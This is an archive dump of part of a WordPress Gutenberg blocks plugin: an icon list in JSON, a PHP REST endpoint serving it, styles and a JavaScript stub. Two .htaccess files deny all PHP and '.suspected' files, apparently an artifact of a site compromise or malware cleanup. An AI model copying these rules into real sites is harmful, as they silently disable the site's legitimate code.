		"unicode": "f2dc",
		"prefix": "fas"
	},
	{
		"name": "snowflake",
		"unicode": "f2dc",
		"prefix": "far"
	},
	{
		"name": "socks",
		"unicode": "f696",
		"prefix": "fas"
	},
	{
		"name": "solar-panel",
		"unicode": "f5ba",
		"prefix": "fas"
	},
	{
		"name": "sort",
		"unicode": "f0dc",
		"prefix": "fas"
	},
	{
		"name": "sort-alpha-down",
		"unicode": "f15d",
		"prefix": "fas"
	},
	{
		"name": "sort-alpha-up",
		"unicode": "f15e",
		"prefix": "fas"
	},
	{
		"name": "sort-amount-down",
		"unicode": "f160",
		"prefix": "fas"
	},
	{
		"name": "sort-amount-up",
		"unicode": "f161",
		"prefix": "fas"
	},
	{
		"name": "sort-down",
		"unicode": "f0dd",
		"prefix": "fas"
	},
	{
		"name": "sort-numeric-down",
		"unicode": "f162",
		"prefix": "fas"
	},
	{
		"name": "sort-numeric-up",
		"unicode": "f163",
		"prefix": "fas"
	},
	{
		"name": "sort-up",
		"unicode": "f0de",
		"prefix": "fas"
	},
	{
		"name": "soundcloud",
		"unicode": "f1be",
		"prefix": "fab"
	},
	{
		"name": "spa",
		"unicode": "f5bb",
		"prefix": "fas"
	},
	{
		"name": "space-shuttle",
		"unicode": "f197",
		"prefix": "fas"
	},
	{
		"name": "speakap",
		"unicode": "f3f3",
		"prefix": "fab"
	},
	{
		"name": "spider",
		"unicode": "f717",
		"prefix": "fas"
	},
	{
		"name": "spinner",
		"unicode": "f110",
		"prefix": "fas"
	},
	{
		"name": "splotch",
		"unicode": "f5bc",
		"prefix": "fas"
	},
	{
		"name": "spotify",
		"unicode": "f1bc",
		"prefix": "fab"
	},
	{
		"name": "spray-can",
		"unicode": "f5bd",
		"prefix": "fas"
	},
	{
		"name": "square",
		"unicode": "f0c8",
		"prefix": "fas"
	},
	{
		"name": "square",
		"unicode": "f0c8",
		"prefix": "far"
	},
	{
		"name": "square-full",
		"unicode": "f45c",
		"prefix": "fas"
	},
	{
		"name": "square-root-alt",
		"unicode": "f698",
		"prefix": "fas"
	},
	{
		"name": "squarespace",
		"unicode": "f5be",
		"prefix": "fab"
	},
	{
		"name": "stack-exchange",
		"unicode": "f18d",
		"prefix": "fab"
	},
	{
		"name": "stack-overflow",
		"unicode": "f16c",
		"prefix": "fab"
	},
	{
		"name": "stamp",
		"unicode": "f5bf",
		"prefix": "fas"
	},
	{
		"name": "star",
		"unicode": "f005",
		"prefix": "fas"
	},
	{
		"name": "star",
		"unicode": "f005",
		"prefix": "far"
	},
	{
		"name": "star-and-crescent",
		"unicode": "f699",
		"prefix": "fas"
	},
	{
		"name": "star-half",
		"unicode": "f089",
		"prefix": "fas"
	},
	{
		"name": "star-half",
		"unicode": "f089",
		"prefix": "far"
	},
	{
		"name": "star-half-alt",
		"unicode": "f5c0",
		"prefix": "fas"
	},
	{
		"name": "star-of-david",
		"unicode": "f69a",
		"prefix": "fas"
	},
	{
		"name": "star-of-life",
		"unicode": "f621",
		"prefix": "fas"
	},
	{
		"name": "staylinked",
		"unicode": "f3f5",
		"prefix": "fab"
	},
	{
		"name": "steam",
		"unicode": "f1b6",
		"prefix": "fab"
	},
	{
		"name": "steam-square",
		"unicode": "f1b7",
		"prefix": "fab"
	},
	{
		"name": "steam-symbol",
		"unicode": "f3f6",
		"prefix": "fab"
	},
	{
		"name": "step-backward",
		"unicode": "f048",
		"prefix": "fas"
	},
	{
		"name": "step-forward",
		"unicode": "f051",
		"prefix": "fas"
	},
	{
		"name": "stethoscope",
		"unicode": "f0f1",
		"prefix": "fas"
	},
	{
		"name": "sticker-mule",
		"unicode": "f3f7",
		"prefix": "fab"
	},
	{
		"name": "sticky-note",
		"unicode": "f249",
		"prefix": "fas"
	},
	{
		"name": "sticky-note",
		"unicode": "f249",
		"prefix": "far"
	},
	{
		"name": "stop",
		"unicode": "f04d",
		"prefix": "fas"
	},
	{
		"name": "stop-circle",
		"unicode": "f28d",
		"prefix": "fas"
	},
	{
		"name": "stop-circle",
		"unicode": "f28d",
		"prefix": "far"
	},
	{
		"name": "stopwatch",
		"unicode": "f2f2",
		"prefix": "fas"
	},
	{
		"name": "store",
		"unicode": "f54e",
		"prefix": "fas"
	},
	{
		"name": "store-alt",
		"unicode": "f54f",
		"prefix": "fas"
	},
	{
		"name": "strava",
		"unicode": "f428",
		"prefix": "fab"
	},
	{
		"name": "stream",
		"unicode": "f550",
		"prefix": "fas"
	},
	{
		"name": "street-view",
		"unicode": "f21d",
		"prefix": "fas"
	},
	{
		"name": "strikethrough",
		"unicode": "f0cc",
		"prefix": "fas"
	},
	{
		"name": "stripe",
		"unicode": "f429",
		"prefix": "fab"
	},
	{
		"name": "stripe-s",
		"unicode": "f42a",
		"prefix": "fab"
	},
	{
		"name": "stroopwafel",
		"unicode": "f551",
		"prefix": "fas"
	},
	{
		"name": "studiovinari",
		"unicode": "f3f8",
		"prefix": "fab"
	},
	{
		"name": "stumbleupon",
		"unicode": "f1a4",
		"prefix": "fab"
	},
	{
		"name": "stumbleupon-circle",
		"unicode": "f1a3",
		"prefix": "fab"
	},
	{
		"name": "subscript",
		"unicode": "f12c",
		"prefix": "fas"
	},
	{
		"name": "subway",
		"unicode": "f239",
		"prefix": "fas"
	},
	{
		"name": "suitcase",
		"unicode": "f0f2",
		"prefix": "fas"
	},
	{
		"name": "suitcase-rolling",
		"unicode": "f5c1",
		"prefix": "fas"
	},
	{
		"name": "sun",
		"unicode": "f185",
		"prefix": "fas"
	},
	{
		"name": "sun",
		"unicode": "f185",
		"prefix": "far"
	},
	{
		"name": "superpowers",
		"unicode": "f2dd",
		"prefix": "fab"
	},
	{
		"name": "superscript",
		"unicode": "f12b",
		"prefix": "fas"
	},
	{
		"name": "supple",
		"unicode": "f3f9",
		"prefix": "fab"
	},
	{
		"name": "surprise",
		"unicode": "f5c2",
		"prefix": "fas"
	},
	{
		"name": "surprise",
		"unicode": "f5c2",
		"prefix": "far"
	},
	{
		"name": "swatchbook",
		"unicode": "f5c3",
		"prefix": "fas"
	},
	{
		"name": "swimmer",
		"unicode": "f5c4",
		"prefix": "fas"
	},
	{
		"name": "swimming-pool",
		"unicode": "f5c5",
		"prefix": "fas"
	},
	{
		"name": "synagogue",
		"unicode": "f69b",
		"prefix": "fas"
	},
	{
		"name": "sync",
		"unicode": "f021",
		"prefix": "fas"
	},
	{
		"name": "sync-alt",
		"unicode": "f2f1",
		"prefix": "fas"
	},
	{
		"name": "syringe",
		"unicode": "f48e",
		"prefix": "fas"
	},
	{
		"name": "table",
		"unicode": "f0ce",
		"prefix": "fas"
	},
	{
		"name": "table-tennis",
		"unicode": "f45d",
		"prefix": "fas"
	},
	{
		"name": "tablet",
		"unicode": "f10a",
		"prefix": "fas"
	},
	{
		"name": "tablet-alt",
		"unicode": "f3fa",
		"prefix": "fas"
	},
	{
		"name": "tablets",
		"unicode": "f490",
		"prefix": "fas"
	},
	{
		"name": "tachometer-alt",
		"unicode": "f3fd",
		"prefix": "fas"
	},
	{
		"name": "tag",
		"unicode": "f02b",
		"prefix": "fas"
	},
	{
		"name": "tags",
		"unicode": "f02c",
		"prefix": "fas"
	},
	{
		"name": "tape",
		"unicode": "f4db",
		"prefix": "fas"
	},
	{
		"name": "tasks",
		"unicode": "f0ae",
		"prefix": "fas"
	},
	{
		"name": "taxi",
		"unicode": "f1ba",
		"prefix": "fas"
	},
	{
		"name": "teamspeak",
		"unicode": "f4f9",
		"prefix": "fab"
	},
	{
		"name": "teeth",
		"unicode": "f62e",
		"prefix": "fas"
	},
	{
		"name": "teeth-open",
		"unicode": "f62f",
		"prefix": "fas"
	},
	{
		"name": "telegram",
		"unicode": "f2c6",
		"prefix": "fab"
	},
	{
		"name": "telegram-plane",
		"unicode": "f3fe",
		"prefix": "fab"
	},
	{
		"name": "temperature-high",
		"unicode": "f769",
		"prefix": "fas"
	},
	{
		"name": "temperature-low",
		"unicode": "f76b",
		"prefix": "fas"
	},
	{
		"name": "tencent-weibo",
		"unicode": "f1d5",
		"prefix": "fab"
	},
	{
		"name": "terminal",
		"unicode": "f120",
		"prefix": "fas"
	},
	{
		"name": "text-height",
		"unicode": "f034",
		"prefix": "fas"
	},
	{
		"name": "text-width",
		"unicode": "f035",
		"prefix": "fas"
	},
	{
		"name": "th",
		"unicode": "f00a",
		"prefix": "fas"
	},
	{
		"name": "th-large",
		"unicode": "f009",
		"prefix": "fas"
	},
	{
		"name": "th-list",
		"unicode": "f00b",
		"prefix": "fas"
	},
	{
		"name": "the-red-yeti",
		"unicode": "f69d",
		"prefix": "fab"
	},
	{
		"name": "theater-masks",
		"unicode": "f630",
		"prefix": "fas"
	},
	{
		"name": "themeco",
		"unicode": "f5c6",
		"prefix": "fab"
	},
	{
		"name": "themeisle",
		"unicode": "f2b2",
		"prefix": "fab"
	},
	{
		"name": "thermometer",
		"unicode": "f491",
		"prefix": "fas"
	},
	{
		"name": "thermometer-empty",
		"unicode": "f2cb",
		"prefix": "fas"
	},
	{
		"name": "thermometer-full",
		"unicode": "f2c7",
		"prefix": "fas"
	},
	{
		"name": "thermometer-half",
		"unicode": "f2c9",
		"prefix": "fas"
	},
	{
		"name": "thermometer-quarter",
		"unicode": "f2ca",
		"prefix": "fas"
	},
	{
		"name": "thermometer-three-quarters",
		"unicode": "f2c8",
		"prefix": "fas"
	},
	{
		"name": "think-peaks",
		"unicode": "f731",
		"prefix": "fab"
	},
	{
		"name": "thumbs-down",
		"unicode": "f165",
		"prefix": "fas"
	},
	{
		"name": "thumbs-down",
		"unicode": "f165",
		"prefix": "far"
	},
	{
		"name": "thumbs-up",
		"unicode": "f164",
		"prefix": "fas"
	},
	{
		"name": "thumbs-up",
		"unicode": "f164",
		"prefix": "far"
	},
	{
		"name": "thumbtack",
		"unicode": "f08d",
		"prefix": "fas"
	},
	{
		"name": "ticket-alt",
		"unicode": "f3ff",
		"prefix": "fas"
	},
	{
		"name": "times",
		"unicode": "f00d",
		"prefix": "fas"
	},
	{
		"name": "times-circle",
		"unicode": "f057",
		"prefix": "fas"
	},
	{
		"name": "times-circle",
		"unicode": "f057",
		"prefix": "far"
	},
	{
		"name": "tint",
		"unicode": "f043",
		"prefix": "fas"
	},
	{
		"name": "tint-slash",
		"unicode": "f5c7",
		"prefix": "fas"
	},
	{
		"name": "tired",
		"unicode": "f5c8",
		"prefix": "fas"
	},
	{
		"name": "tired",
		"unicode": "f5c8",
		"prefix": "far"
	},
	{
		"name": "toggle-off",
		"unicode": "f204",
		"prefix": "fas"
	},
	{
		"name": "toggle-on",
		"unicode": "f205",
		"prefix": "fas"
	},
	{
		"name": "toilet-paper",
		"unicode": "f71e",
		"prefix": "fas"
	},
	{
		"name": "toolbox",
		"unicode": "f552",
		"prefix": "fas"
	},
	{
		"name": "tooth",
		"unicode": "f5c9",
		"prefix": "fas"
	},
	{
		"name": "torah",
		"unicode": "f6a0",
		"prefix": "fas"
	},
	{
		"name": "torii-gate",
		"unicode": "f6a1",
		"prefix": "fas"
	},
	{
		"name": "tractor",
		"unicode": "f722",
		"prefix": "fas"
	},
	{
		"name": "trade-federation",
		"unicode": "f513",
		"prefix": "fab"
	},
	{
		"name": "trademark",
		"unicode": "f25c",
		"prefix": "fas"
	},
	{
		"name": "traffic-light",
		"unicode": "f637",
		"prefix": "fas"
	},
	{
		"name": "train",
		"unicode": "f238",
		"prefix": "fas"
	},
	{
		"name": "transgender",
		"unicode": "f224",
		"prefix": "fas"
	},
	{
		"name": "transgender-alt",
		"unicode": "f225",
		"prefix": "fas"
	},
	{
		"name": "trash",
		"unicode": "f1f8",
		"prefix": "fas"
	},
	{
		"name": "trash-alt",
		"unicode": "f2ed",
		"prefix": "fas"
	},
	{
		"name": "trash-alt",
		"unicode": "f2ed",
		"prefix": "far"
	},
	{
		"name": "tree",
		"unicode": "f1bb",
		"prefix": "fas"
	},
	{
		"name": "trello",
		"unicode": "f181",
		"prefix": "fab"
	},
	{
		"name": "tripadvisor",
		"unicode": "f262",
		"prefix": "fab"
	},
	{
		"name": "trophy",
		"unicode": "f091",
		"prefix": "fas"
	},
	{
		"name": "truck",
		"unicode": "f0d1",
		"prefix": "fas"
	},
	{
		"name": "truck-loading",
		"unicode": "f4de",
		"prefix": "fas"
	},
	{
		"name": "truck-monster",
		"unicode": "f63b",
		"prefix": "fas"
	},
	{
		"name": "truck-moving",
		"unicode": "f4df",
		"prefix": "fas"
	},
	{
		"name": "truck-pickup",
		"unicode": "f63c",
		"prefix": "fas"
	},
	{
		"name": "tshirt",
		"unicode": "f553",
		"prefix": "fas"
	},
	{
		"name": "tty",
		"unicode": "f1e4",
		"prefix": "fas"
	},
	{
		"name": "tumblr",
		"unicode": "f173",
		"prefix": "fab"
	},
	{
		"name": "tumblr-square",
		"unicode": "f174",
		"prefix": "fab"
	},
	{
		"name": "tv",
		"unicode": "f26c",
		"prefix": "fas"
	},
	{
		"name": "twitch",
		"unicode": "f1e8",
		"prefix": "fab"
	},
	{
		"name": "twitter",
		"unicode": "f099",
		"prefix": "fab"
	},
	{
		"name": "twitter-square",
		"unicode": "f081",
		"prefix": "fab"
	},
	{
		"name": "typo3",
		"unicode": "f42b",
		"prefix": "fab"
	},
	{
		"name": "uber",
		"unicode": "f402",
		"prefix": "fab"
	},
	{
		"name": "uikit",
		"unicode": "f403",
		"prefix": "fab"
	},
	{
		"name": "umbrella",
		"unicode": "f0e9",
		"prefix": "fas"
	},
	{
		"name": "umbrella-beach",
		"unicode": "f5ca",
		"prefix": "fas"
	},
	{
		"name": "underline",
		"unicode": "f0cd",
		"prefix": "fas"
	},
	{
		"name": "undo",
		"unicode": "f0e2",
		"prefix": "fas"
	},
	{
		"name": "undo-alt",
		"unicode": "f2ea",
		"prefix": "fas"
	},
	{
		"name": "uniregistry",
		"unicode": "f404",
		"prefix": "fab"
	},
	{
		"name": "universal-access",
		"unicode": "f29a",
		"prefix": "fas"
	},
	{
		"name": "university",
		"unicode": "f19c",
		"prefix": "fas"
	},
	{
		"name": "unlink",
		"unicode": "f127",
		"prefix": "fas"
	},
	{
		"name": "unlock",
		"unicode": "f09c",
		"prefix": "fas"
	},
	{
		"name": "unlock-alt",
		"unicode": "f13e",
		"prefix": "fas"
	},
	{
		"name": "untappd",
		"unicode": "f405",
		"prefix": "fab"
	},
	{
		"name": "upload",
		"unicode": "f093",
		"prefix": "fas"
	},
	{
		"name": "usb",
		"unicode": "f287",
		"prefix": "fab"
	},
	{
		"name": "user",
		"unicode": "f007",
		"prefix": "fas"
	},
	{
		"name": "user",
		"unicode": "f007",
		"prefix": "far"
	},
	{
		"name": "user-alt",
		"unicode": "f406",
		"prefix": "fas"
	},
	{
		"name": "user-alt-slash",
		"unicode": "f4fa",
		"prefix": "fas"
	},
	{
		"name": "user-astronaut",
		"unicode": "f4fb",
		"prefix": "fas"
	},
	{
		"name": "user-check",
		"unicode": "f4fc",
		"prefix": "fas"
	},
	{
		"name": "user-circle",
		"unicode": "f2bd",
		"prefix": "fas"
	},
	{
		"name": "user-circle",
		"unicode": "f2bd",
		"prefix": "far"
	},
	{
		"name": "user-clock",
		"unicode": "f4fd",
		"prefix": "fas"
	},
	{
		"name": "user-cog",
		"unicode": "f4fe",
		"prefix": "fas"
	},
	{
		"name": "user-edit",
		"unicode": "f4ff",
		"prefix": "fas"
	},
	{
		"name": "user-friends",
		"unicode": "f500",
		"prefix": "fas"
	},
	{
		"name": "user-graduate",
		"unicode": "f501",
		"prefix": "fas"
	},
	{
		"name": "user-injured",
		"unicode": "f728",
		"prefix": "fas"
	},
	{
		"name": "user-lock",
		"unicode": "f502",
		"prefix": "fas"
	},
	{
		"name": "user-md",
		"unicode": "f0f0",
		"prefix": "fas"
	},
	{
		"name": "user-minus",
		"unicode": "f503",
		"prefix": "fas"
	},
	{
		"name": "user-ninja",
		"unicode": "f504",
		"prefix": "fas"
	},
	{
		"name": "user-plus",
		"unicode": "f234",
		"prefix": "fas"
	},
	{
		"name": "user-secret",
		"unicode": "f21b",
		"prefix": "fas"
	},
	{
		"name": "user-shield",
		"unicode": "f505",
		"prefix": "fas"
	},
	{
		"name": "user-slash",
		"unicode": "f506",
		"prefix": "fas"
	},
	{
		"name": "user-tag",
		"unicode": "f507",
		"prefix": "fas"
	},
	{
		"name": "user-tie",
		"unicode": "f508",
		"prefix": "fas"
	},
	{
		"name": "user-times",
		"unicode": "f235",
		"prefix": "fas"
	},
	{
		"name": "users",
		"unicode": "f0c0",
		"prefix": "fas"
	},
	{
		"name": "users-cog",
		"unicode": "f509",
		"prefix": "fas"
	},
	{
		"name": "ussunnah",
		"unicode": "f407",
		"prefix": "fab"
	},
	{
		"name": "utensil-spoon",
		"unicode": "f2e5",
		"prefix": "fas"
	},
	{
		"name": "utensils",
		"unicode": "f2e7",
		"prefix": "fas"
	},
	{
		"name": "vaadin",
		"unicode": "f408",
		"prefix": "fab"
	},
	{
		"name": "vector-square",
		"unicode": "f5cb",
		"prefix": "fas"
	},
	{
		"name": "venus",
		"unicode": "f221",
		"prefix": "fas"
	},
	{
		"name": "venus-double",
		"unicode": "f226",
		"prefix": "fas"
	},
	{
		"name": "venus-mars",
		"unicode": "f228",
		"prefix": "fas"
	},
	{
		"name": "viacoin",
		"unicode": "f237",
		"prefix": "fab"
	},
	{
		"name": "viadeo",
		"unicode": "f2a9",
		"prefix": "fab"
	},
	{
		"name": "viadeo-square",
		"unicode": "f2aa",
		"prefix": "fab"
	},
	{
		"name": "vial",
		"unicode": "f492",
		"prefix": "fas"
	},
	{
		"name": "vials",
		"unicode": "f493",
		"prefix": "fas"
	},
	{
		"name": "viber",
		"unicode": "f409",
		"prefix": "fab"
	},
	{
		"name": "video",
		"unicode": "f03d",
		"prefix": "fas"
	},
	{
		"name": "video-slash",
		"unicode": "f4e2",
		"prefix": "fas"
	},
	{
		"name": "vihara",
		"unicode": "f6a7",
		"prefix": "fas"
	},
	{
		"name": "vimeo",
		"unicode": "f40a",
		"prefix": "fab"
	},
	{
		"name": "vimeo-square",
		"unicode": "f194",
		"prefix": "fab"
	},
	{
		"name": "vimeo-v",
		"unicode": "f27d",
		"prefix": "fab"
	},
	{
		"name": "vine",
		"unicode": "f1ca",
		"prefix": "fab"
	},
	{
		"name": "vk",
		"unicode": "f189",
		"prefix": "fab"
	},
	{
		"name": "vnv",
		"unicode": "f40b",
		"prefix": "fab"
	},
	{
		"name": "volleyball-ball",
		"unicode": "f45f",
		"prefix": "fas"
	},
	{
		"name": "volume-down",
		"unicode": "f027",
		"prefix": "fas"
	},
	{
		"name": "volume-mute",
		"unicode": "f6a9",
		"prefix": "fas"
	},
	{
		"name": "volume-off",
		"unicode": "f026",
		"prefix": "fas"
	},
	{
		"name": "volume-up",
		"unicode": "f028",
		"prefix": "fas"
	},
	{
		"name": "vote-yea",
		"unicode": "f772",
		"prefix": "fas"
	},
	{
		"name": "vr-cardboard",
		"unicode": "f729",
		"prefix": "fas"
	},
	{
		"name": "vuejs",
		"unicode": "f41f",
		"prefix": "fab"
	},
	{
		"name": "walking",
		"unicode": "f554",
		"prefix": "fas"
	},
	{
		"name": "wallet",
		"unicode": "f555",
		"prefix": "fas"
	},
	{
		"name": "warehouse",
		"unicode": "f494",
		"prefix": "fas"
	},
	{
		"name": "water",
		"unicode": "f773",
		"prefix": "fas"
	},
	{
		"name": "weebly",
		"unicode": "f5cc",
		"prefix": "fab"
	},
	{
		"name": "weibo",
		"unicode": "f18a",
		"prefix": "fab"
	},
	{
		"name": "weight",
		"unicode": "f496",
		"prefix": "fas"
	},
	{
		"name": "weight-hanging",
		"unicode": "f5cd",
		"prefix": "fas"
	},
	{
		"name": "weixin",
		"unicode": "f1d7",
		"prefix": "fab"
	},
	{
		"name": "whatsapp",
		"unicode": "f232",
		"prefix": "fab"
	},
	{
		"name": "whatsapp-square",
		"unicode": "f40c",
		"prefix": "fab"
	},
	{
		"name": "wheelchair",
		"unicode": "f193",
		"prefix": "fas"
	},
	{
		"name": "whmcs",
		"unicode": "f40d",
		"prefix": "fab"
	},
	{
		"name": "wifi",
		"unicode": "f1eb",
		"prefix": "fas"
	},
	{
		"name": "wikipedia-w",
		"unicode": "f266",
		"prefix": "fab"
	},
	{
		"name": "wind",
		"unicode": "f72e",
		"prefix": "fas"
	},
	{
		"name": "window-close",
		"unicode": "f410",
		"prefix": "fas"
	},
	{
		"name": "window-close",
		"unicode": "f410",
		"prefix": "far"
	},
	{
		"name": "window-maximize",
		"unicode": "f2d0",
		"prefix": "fas"
	},
	{
		"name": "window-maximize",
		"unicode": "f2d0",
		"prefix": "far"
	},
	{
		"name": "window-minimize",
		"unicode": "f2d1",
		"prefix": "fas"
	},
	{
		"name": "window-minimize",
		"unicode": "f2d1",
		"prefix": "far"
	},
	{
		"name": "window-restore",
		"unicode": "f2d2",
		"prefix": "fas"
	},
	{
		"name": "window-restore",
		"unicode": "f2d2",
		"prefix": "far"
	},
	{
		"name": "windows",
		"unicode": "f17a",
		"prefix": "fab"
	},
	{
		"name": "wine-bottle",
		"unicode": "f72f",
		"prefix": "fas"
	},
	{
		"name": "wine-glass",
		"unicode": "f4e3",
		"prefix": "fas"
	},
	{
		"name": "wine-glass-alt",
		"unicode": "f5ce",
		"prefix": "fas"
	},
	{
		"name": "wix",
		"unicode": "f5cf",
		"prefix": "fab"
	},
	{
		"name": "wizards-of-the-coast",
		"unicode": "f730",
		"prefix": "fab"
	},
	{
		"name": "wolf-pack-battalion",
		"unicode": "f514",
		"prefix": "fab"
	},
	{
		"name": "won-sign",
		"unicode": "f159",
		"prefix": "fas"
	},
	{
		"name": "wordpress",
		"unicode": "f19a",
		"prefix": "fab"
	},
	{
		"name": "wordpress-simple",
		"unicode": "f411",
		"prefix": "fab"
	},
	{
		"name": "wpbeginner",
		"unicode": "f297",
		"prefix": "fab"
	},
	{
		"name": "wpexplorer",
		"unicode": "f2de",
		"prefix": "fab"
	},
	{
		"name": "wpforms",
		"unicode": "f298",
		"prefix": "fab"
	},
	{
		"name": "wpressr",
		"unicode": "f3e4",
		"prefix": "fab"
	},
	{
		"name": "wrench",
		"unicode": "f0ad",
		"prefix": "fas"
	},
	{
		"name": "x-ray",
		"unicode": "f497",
		"prefix": "fas"
	},
	{
		"name": "xbox",
		"unicode": "f412",
		"prefix": "fab"
	},
	{
		"name": "xing",
		"unicode": "f168",
		"prefix": "fab"
	},
	{
		"name": "xing-square",
		"unicode": "f169",
		"prefix": "fab"
	},
	{
		"name": "y-combinator",
		"unicode": "f23b",
		"prefix": "fab"
	},
	{
		"name": "yahoo",
		"unicode": "f19e",
		"prefix": "fab"
	},
	{
		"name": "yandex",
		"unicode": "f413",
		"prefix": "fab"
	},
	{
		"name": "yandex-international",
		"unicode": "f414",
		"prefix": "fab"
	},
	{
		"name": "yelp",
		"unicode": "f1e9",
		"prefix": "fab"
	},
	{
		"name": "yen-sign",
		"unicode": "f157",
		"prefix": "fas"
	},
	{
		"name": "yin-yang",
		"unicode": "f6ad",
		"prefix": "fas"
	},
	{
		"name": "yoast",
		"unicode": "f2b1",
		"prefix": "fab"
	},
	{
		"name": "youtube",
		"unicode": "f167",
		"prefix": "fab"
	},
	{
		"name": "youtube-square",
		"unicode": "f431",
		"prefix": "fab"
	},
	{
		"name": "zhihu",
		"unicode": "f63f",
		"prefix": "fab"
	}
]font-awesome-icons/.htaccess000066600000000424151142373640012071 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>font-awesome-icons/class-font-awesome-icons-server.php000066600000006733151142373640017141 0ustar00<?php

namespace ThemeIsle\GutenbergBlocks;

/**
 * Class Font_Awesome_Icons_Server
 */
class Font_Awesome_Icons_Server extends \WP_Rest_Controller {

	/**
	 * The main instance var.
	 *
	 * @var Font_Awesome_Icons_Server
	 */
	public static $instance = null;

	/**
	 * Rest route namespace.
	 *
	 * @var Font_Awesome_Icons_Server
	 */
	public $namespace = 'themeisle-gutenberg-blocks/';

	/**
	 * Rest route version.
	 *
	 * @var Font_Awesome_Icons_Server
	 */
	public $version = 'v1';

	/**
	 * Initialize the class
	 */
	public function init() {
		add_action( 'rest_api_init', array( $this, 'register_routes' ) );
	}

	/**
	 * Register REST API route
	 */
	public function register_routes() {
		$namespace = $this->namespace . $this->version;

		register_rest_route(
			$namespace,
			'/get_icons_list',
			array(
				array(
					'methods'             => \WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_icons_list' ),
				),
			)
		);
	}

	/**
	 * Get Icons List
	 *
	 * Get list of all Font Awesome icons.
	 * 
	 * Due to file size of JSON being 2MB, we're using a static JSON instead of one provided by Font Awesome.
	 * When the fonts get updated, we can use `get_icons_list_ready` function to get the updated JSON.
	 *
	 * @return mixed|\WP_REST_Response
	 */
	public function get_icons_list( $request ) {
		$content = file_get_contents( dirname( __FILE__ ) . '/icons.json', FILE_USE_INCLUDE_PATH );
		$parsed_content = json_decode( $content, true );
		return rest_ensure_response( $parsed_content );
	}

	/**
	 * Get Icons List Ready
	 *
	 * Get list of all Font Awesome icons for development.
	 *
	 * @return mixed|\WP_REST_Response
	 */
	public function get_icons_list_ready( $request ) {
		$content = file_get_contents( dirname( __FILE__ ) . '/icons.json', FILE_USE_INCLUDE_PATH );

		$parsed_content = json_decode( $content, true );

		$icons = array();

		foreach ( $parsed_content as $icon_key => $icon_args ) {

			foreach ( $icon_args['styles'] as $style ) {

				$prefix = '';

				switch ( $style ) {
					case 'brands':
						$prefix = 'fab';
						break;
					case 'solid':
						$prefix = 'fas';
						break;
					case 'regular':
						$prefix = 'far';
						break;
					default:
						$prefix = 'fas';
				}

				$icons[] = array(
					'name' => $icon_key,
					'unicode' => $icon_args['unicode'],
					'prefix' => $prefix,
				);
			}
		}

		return rest_ensure_response( $parsed_content );
	}

	/**
	 * The instance method for the static class.
	 * Defines and returns the instance of the static class.
	 *
	 * @static
	 * @since 1.0.0
	 * @access public
	 * @return Font_Awesome_Icons_Server
	 */
	public static function instance() {
		if ( is_null( self::$instance ) ) {
			self::$instance = new self();
			self::$instance->init();
		}
		return self::$instance;
	}

	/**
	 * Throw error on object clone
	 *
	 * The whole idea of the singleton design pattern is that there is a single
	 * object therefore, we don't want the object to be cloned.
	 *
	 * @access public
	 * @since 1.0.0
	 * @return void
	 */
	public function __clone() {
		// Cloning instances of the class is forbidden.
		_doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin&#8217; huh?', 'themeisle-companion' ), '1.0.0' );
	}

	/**
	 * Disable unserializing of the class
	 *
	 * @access public
	 * @since 1.0.0
	 * @return void
	 */
	public function __wakeup() {
		// Unserializing instances of the class is forbidden.
		_doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin&#8217; huh?', 'themeisle-companion' ), '1.0.0' );
	}
}font-awesome-icons/style.scss000066600000000110151142373640012320 0ustar00.wp-block-themeisle-blocks-font-awesome-icons {
	text-align: center;
}font-awesome-icons/editor.scss000066600000000407151142373640012457 0ustar00.wp-block-themeisle-blocks-font-awesome-icons {
	text-align: center;
}

.wp-block-themeisle-blocks-font-awesome-icons-hover-control {
	width: 100%;
	margin-bottom: 20px;

	.components-button {
		width: calc( 100% / 2 );
		justify-content: center;
	}
}pricing-table/.htaccess000066600000000424151142373640011074 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>pricing-table/style.scss000066600000002673151142373640011343 0ustar00.wp-block-themeisle-blocks-pricing-table {
	display: flex;
	position: relative;

	&.is-dim {
		&:before {
			content: "";
			position: absolute;
			top: 0;
			left: 0;
			bottom: 0;
			right: 0;
			background-color: rgba(0,0,0,.5);
		}

		.wp-block-column {
			z-index: 1;
		}
	}

	&.is-parallax {
		background-attachment: fixed !important;
	}

	&.alignfull {
		padding: 100px;
	}

	&.alignwide {
		padding: 100px 150px;
	}

	.wp-block-column {
		position: relative;
		flex: 1;
		padding: 20px 10px;
		margin: 0 20px;
	}

	.raised {
		-webkit-box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
		-moz-box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
		box-shadow: 0 16px 38px -12px rgba(0,0,0,.56),0 4px 25px 0 rgba(0,0,0,.12),0 8px 10px -5px rgba(0,0,0,.2);
	}
}


@media ( min-width:768px ) {
	.wp-block-themeisle-blocks-pricing-table {
		.wp-block-column {

			&:first-child {
				margin-left: 0;
			}
	
			&:last-child {
				margin-right: 0;
			}
		}
	}
}

@media ( max-width:768px ) {
	.wp-block-themeisle-blocks-pricing-table {
		display: block;

		.wp-block-column {
			margin: 20px;
		}
	}
}

@media ( max-width:1024px ) {
	.wp-block-themeisle-blocks-pricing-table {

		&.alignfull {
			padding: 100px 20px;
		}
	
		&.alignwide {
			padding: 100px 20px;
		}
	}
}pricing-table/index.js000066600000000202151142373640010735 0ustar00/**
 * Pricing Table Block
 */
import './style.scss';
import './editor.scss';
import './pricing-table';
import './pricing-block';
pricing-table/pricing-table.js000066600000011356151142373640012362 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';

/**
 * WordPress dependencies...
 */

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;
